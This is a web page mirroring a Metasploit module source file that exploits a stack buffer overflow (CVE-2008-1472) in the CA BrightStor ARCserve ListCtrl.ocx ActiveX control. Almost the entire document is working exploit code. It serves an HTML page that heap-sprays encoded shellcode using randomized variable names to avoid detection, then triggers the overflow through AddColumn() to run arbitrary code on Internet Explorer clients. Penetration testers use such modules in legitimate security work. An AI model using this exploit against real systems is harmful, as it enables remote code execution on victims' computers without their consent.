CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
Views: 1904
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = NormalRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10


11
  def initialize(info = {})

12
    super(update_info(info,

13
      'Name'           => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',

14
      'Description'    => %q{

15
          The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based

16
        buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker

17
        could overflow a buffer and execute arbitrary code on the system.

18
      },

19
      'License'        => MSF_LICENSE,

20
      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],

21
      'References'     =>

22
        [

23
          [ 'CVE', '2008-1472' ],

24
          [ 'OSVDB', '43214' ],

25
        ],

26
      'DefaultOptions' =>

27
        {

28
          'EXITFUNC' => 'process',

29
        },

30
      'Payload'        =>

31
        {

32
          'Space'         => 1024,

33
          'BadChars'      => "\x00",

34
        },

35
      'Platform'       => 'win',

36
      'Targets'        =>

37
        [

38
          [ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]

39
        ],

40
      'DisclosureDate' => '2008-03-16',

41
      'DefaultTarget'  => 0))

42
  end

43


44
  def autofilter

45
    false

46
  end

47


48
  def check_dependencies

49
    use_zlib

50
  end

51


52
  def on_request_uri(cli, request)

53
    # Re-generate the payload.

54
    return if ((p = regenerate_payload(cli)) == nil)

55


56
    # Encode the shellcode.

57
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

58


59
    # Create some nops.

60
    nops    = Rex::Text.to_unescape(make_nops(4))

61


62
    # Set the return.

63
    ret     = Rex::Text.to_unescape([target.ret].pack('V'))

64


65
    # Randomize the javascript variable names.

66
    vname  = rand_text_alpha(rand(30) + 1)

67
    var_i  = rand_text_alpha(rand(5) + 1)

68
    rand1  = rand_text_alpha(rand(100) + 1)

69
    rand2  = rand_text_alpha(rand(100) + 1)

70
    rand3  = rand_text_alpha(rand(100) + 1)

71
    rand4  = rand_text_alpha(rand(100) + 1)

72
    rand5  = rand_text_alpha(rand(100) + 1)

73
    rand6  = rand_text_alpha(rand(100) + 1)

74
    rand7  = rand_text_alpha(rand(100) + 1)

75


76
    content = %Q|

77
    <html>

78
    <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>

79
      <script>

80


81
      var #{rand1} = unescape("#{shellcode}");

82
      var #{rand2} = 0x0A0A0A0A;

83
      var #{rand3} = 0x400000;

84
      var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};

85
      var #{rand5} = unescape("#{ret}");

86
      var #{rand6} = 128;

87


88
      while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};

89
        #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);

90
        #{rand7} = new Array();

91
        for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};

92
          while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};

93
            #{rand5} = #{rand5}.substring(0, #{rand6});

94


95
            #{vname}.AddColumn(#{rand5}, 1);

96
      </script>

97
    </html>

98
      |

99


100
    content = Rex::Text.randomize_space(content)

101


102
    print_status("Sending #{self.name}")

103


104
    # Transmit the response to the client

105
    send_response_html(cli, content)

106


107
    # Handle the payload

108
    handler(cli)

109
  end

110
end

111


112